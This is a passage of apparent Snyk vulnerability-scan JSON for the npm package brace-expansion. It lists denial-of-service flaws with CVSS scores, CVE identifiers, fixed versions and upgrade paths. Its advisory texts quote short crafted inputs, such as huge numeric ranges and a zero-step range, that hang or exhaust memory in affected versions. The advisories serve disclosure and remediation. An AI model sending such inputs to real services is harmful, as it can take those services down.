"2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": 